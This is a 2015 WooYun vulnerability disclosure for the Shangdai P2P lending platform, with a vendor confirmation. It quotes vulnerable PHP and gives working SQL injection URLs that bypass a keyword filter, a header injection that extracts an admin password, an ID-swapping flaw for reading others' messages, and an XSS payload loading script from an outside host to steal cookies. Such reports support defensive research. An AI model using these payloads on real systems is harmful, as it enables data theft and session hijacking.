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缺陷编号：wooyun-2015-0142675

漏洞标题：尚贷p2p网贷系统二处sql注入/越权/xss(demo成功)

相关厂商：shangdaixitong.com

漏洞作者： 牛肉包子

提交时间：2015-09-22 17:10

修复时间：2015-12-22 14:16

公开时间：2015-12-22 14:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-09-22： 细节已通知厂商并且等待厂商处理中
2015-09-23： 厂商已经确认，细节仅向厂商公开
2015-09-26： 细节向第三方安全合作伙伴开放
2015-11-17： 细节向核心白帽子及相关领域专家公开
2015-11-27： 细节向普通白帽子公开
2015-12-07： 细节向实习白帽子公开
2015-12-22： 细节向公众公开

简要描述：

只求个首页。
还是有安全狗。但是还是没什么卵用。

详细说明：

注入1（测试不成功）
看到代码core\deayou.core.php 65-86行处

elseif ($_G['query_site'] == 'home') 
{
	$user_id = $_REQUEST['user_id'];
	if ($user_id == '') 
	{
		$user_id = $_G['user_id'];
	}
	$_G['article_id'] = $user_id;
	$magic->assign('_G', $_G);
	usersClass::AddVisit(array('user_id' => $user_id, 'visit_userid' => $_G['user_id']));
	if ($home_dir != '') 
	{
		$magic->template_dir = $home_dir;
		$magic->assign('tpldir', '/' . $home_dir);
		$magic->display($home_template);
	}
	else 
	{
		$magic->display('home.html');
	}
	die;
}


然后继续更近

/**
     * 最近来访
     * @param $param array('user_id' => '会员ID')
     * @return bool true/false
     */
    public static function AddVisit($data = array()) {
        global $mysql;
        if (isset($data['visit_userid']) && $data['visit_userid'] != "" && $data['user_id'] != $data['visit_userid']) {
            $time = time();
            $ip = ip_address();
            $sql = "select id from `{users_visit}` where user_id={$data['user_id']} and visit_userid = {$data['visit_userid']}";
            $result = $mysql->db_fetch_array($sql);
            //判断是否
            if ($result != false) {
                $sql = "update `{users_visit}` set addtime='{$time}',addip='{$ip}' where id='{$result['id']}'";
                $mysql->db_query($sql);
            } else {
                $sql = "insert into `{users_visit}` set user_id='{$data['user_id']}',visit_userid='{$data['visit_userid']}',addtime='{$time}',addip='{$ip}'";
                $mysql->db_query($sql);
            }
            //如果超过10条，则删除最早的一条
            $sql = "select count(1) as num from `{users_visit}` where user_id={$data['user_id']}";
            $result = $mysql->db_fetch_array($sql);
            if ($result['num'] > 20) {
                $sql = "select id from `{users_visit}` where user_id={$data['user_id']} order by addtime asc";
                $result = $mysql->db_fetch_array($sql);
                $sql = "delete from `{users_visit}` where id='{$result['id']}'";
                $mysql->db_query($sql);
            }
        }
    }


其中user_id没有被单引号包裹，所以造成注入。
然后有个全局过滤sql的函数。

function inject_check($sql_str) 
{
	$sql = array('select', 'insert', '\\\'', '\\/\\*', '\\.\\.\\/', '\\.\\/', 'union', 'into', 'load_file', 'outfile');
	$sql_re = array('', '', '', '', '', '', '', '', '', '', '', '');
	return str_replace($sql, $sql_re, $sql_str);
}


写两次就绕过了。然后也使安全狗失效了。

http://demo2.tuanshang.net/?home&user_id=updatexml(1,concat(1,(seselectlect+database())),1)


QQ截图20150921224445.jpg


注入二
modules/message/message.inc.php

elseif ($_U['query_type'] == "senteds"){	
		
		if (isset($_POST['type']) && $_POST['type']==2){
			
			$data['id'] = $_POST['id'];
			$data['sent_user'] = $_G['user_id'];
			$data['sented'] = 0;
			$result = messageClass::update($data);
			if ($result!==true){
				$msg = array($MsgInfo[$result],"",$_U['query_url']);
			}else{
				$msg = array("操作成功");
			}
			
		}else{
			/* $data['sent_user'] = $_G['user_id'];
			$data['page'] = $_U['page'];
			$data['epage'] = $_U['epage'];
			$data['sented'] = 1;
			$result = messageClass::GetList($data);
			if (is_array($result)){
				$pages->set_data($result);
				$_U['message_list'] = $result['list'];
				$_U['show_page'] = $pages->show(3);
			}else{
				$msg = array($result,"",$_U['query_url']);
			} */
			if (isset($_REQUEST['id']) ){
				$data['id'] = $_REQUEST['id'];
				$data['user_id'] = $_G['user_id'];
				$result = messageClass::DeleteMessageReceive($data);
				if ($result>0){
					$msg = array("删除成功","","/?user&q=code/message");
				}else{
					$msg = array($MsgInfo[$result]);
				}
			}else{
				$msg = array("请选中再进行操作");
			}
				}
	}


然后跟进DeleteMessageReceive函数

function DeleteMessageReceive($data = array()){
		global $mysql;
		
		if (!IsExiest($data['id'])) return "message_receive_id_empty";
		if (is_array($data['id'])){
			$data['id'] = join(",",$data['id']);
		}
		$_sql = " where id in ({$data['id']})";
		if (isset($data['user_id']) && $data['user_id']!=""){
			$_result = self::GetMessageReceiveOne($data);
			
			$_sql .= " and user_id='{$data['user_id']}' and type='user'";
			$sql = "delete from `{message_receive}` {$_sql}";
			$mysql -> db_query($sql);
			if ($_result['type']!='user'){
				$sql = "delete from `{message_receive}` where user_id='{$data['user_id']}' and receive_value='{$data['id']}'";
				$mysql -> db_query($sql);
			}
			return $data['user_id'];
		}else{
			$sql = "delete from `{message_receive}` {$_sql}";
			$mysql -> db_query($sql);
		}
		return $data['id'];
	}


可以看到$id可以注入

http://demo2.tuanshang.net/?user&q=code/message/sentdeled
id%5B0%5D=8) or updatexml(1,concat(1,(seselectlect+user())),1&type=1


QQ截图20150921224807.jpg


modules/message/message.inc.php

elseif ($_U['query_type'] == "sentdeled"){	
	if (isset($_REQUEST['id']) ){
		$data['id'] = $_REQUEST['id'];
		$data['user_id'] = $_G['user_id'];
		$result = messageClass::DeleteMessage($data);
		if ($result>0){
			$msg = array($MsgInfo["message_action_success"],"","/?user&q=code/message/sented");
		}else{
			$msg = array($MsgInfo[$result]);
		}
	}else{
		$msg = array("请选中再进行操作");
	}
}


跟进

function DeleteMessage($data = array()){
		global $mysql;
		
		if (!IsExiest($data['id'])) return "message_id_empty";
		if (is_array($data['id'])){
			$data['id'] = join(",",$data['id']);
		}
		$_sql = " where id in ({$data['id']})";
		if (isset($data['user_id']) && $data['user_id']!=""){
			$_sql .= " and user_id='{$data['user_id']}' ";
		}
		$sql = "delete from `{message}` {$_sql}";
		$mysql -> db_query($sql);
		return 1;
	}


然后id也可以注入

http://demo2.tuanshang.net/?user&q=code/message/senteds
id%5B0%5D=8) or updatexml(1,concat(1,(seselectlect+user())),1&type=1


QQ截图20150921225144.jpg


注入3

function ip_address() 
{
	if(!empty($_SERVER["HTTP_CLIENT_IP"])) 
	{
		$ip_address = $_SERVER["HTTP_CLIENT_IP"];
	}
	else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
	{
		$ip_address = array_pop(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']));
	}
	else if(!empty($_SERVER["REMOTE_ADDR"]))
	{
		$ip_address = $_SERVER["REMOTE_ADDR"];
	}
	else
	{
		$ip_address = '';
	}
	return $ip_address;
}


然后

public static function AddVisit($data = array()) {
        global $mysql;
        if (isset($data['visit_userid']) && $data['visit_userid'] != "" && $data['user_id'] != $data['visit_userid']) {
            $time = time();
            $ip = ip_address();
            $sql = "select id from `{users_visit}` where user_id={$data['user_id']} and visit_userid = {$data['visit_userid']}";
            $result = $mysql->db_fetch_array($sql);
            //判断是否
            if ($result != false) {
                $sql = "update `{users_visit}` set addtime='{$time}',addip='{$ip}' where id='{$result['id']}'";
                $mysql->db_query($sql);
            } else {
                $sql = "insert into `{users_visit}` set user_id='{$data['user_id']}',visit_userid='{$data['visit_userid']}',addtime='{$time}',addip='{$ip}'";
                $mysql->db_query($sql);
            }
            //如果超过10条，则删除最早的一条
            $sql = "select count(1) as num from `{users_visit}` where user_id={$data['user_id']}";
            $result = $mysql->db_fetch_array($sql);
            if ($result['num'] > 20) {
                $sql = "select id from `{users_visit}` where user_id={$data['user_id']} order by addtime asc";
                $result = $mysql->db_fetch_array($sql);
                $sql = "delete from `{users_visit}` where id='{$result['id']}'";
                $mysql->db_query($sql);
            }
        }
    }


这儿存在注入
设置X-FORWARED-FOR为

xxx' or EXP(~(select * from (select password from tuanshang_users_admin limit 1)a)) or '


QQ截图20150921225349.jpg


注入5

http://demo2.tuanshang.net/?user&q=code/message/sent


发送信息的时候

QQ截图20150921225509.jpg


越权
任意读取站内信

http://demo2.tuanshang.net/?user&q=code/message/viewed&id=1


其中变换id的值就行了。

QQ截图20150921225727.jpg


QQ截图20150921225919.jpg


xss
在发送私信处存在xss。简单的fuzz了一下。然后成功绕过过滤。
在内容处构造

<input onfocus=$.getScript("http://lennyxss.sinaapp.com/sPGu9l?1442846067") autofocus>


成功获取cookie

QQ截图20150921230133.jpg


QQ图片20150921230201.png

漏洞证明：

QQ截图20150921225509.jpg


QQ截图20150921225144.jpg


QQ截图20150921225727.jpg


QQ截图20150921225919.jpg


QQ截图20150921230133.jpg


QQ图片20150921230201.png

修复方案：

过滤+转义

版权声明：转载请注明来源 牛肉包子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-09-23 14:15

厂商回复：

感谢白帽们的辛苦，该漏洞为V3演示系统所存在的问题，我们将所述问题进行排查修复，同时我们将加强安全漏洞排查，将安全问题放到首位，欢迎对我们的系统安全性继续监督，我们的成长离不开大家的指导和帮助。

最新状态：

暂无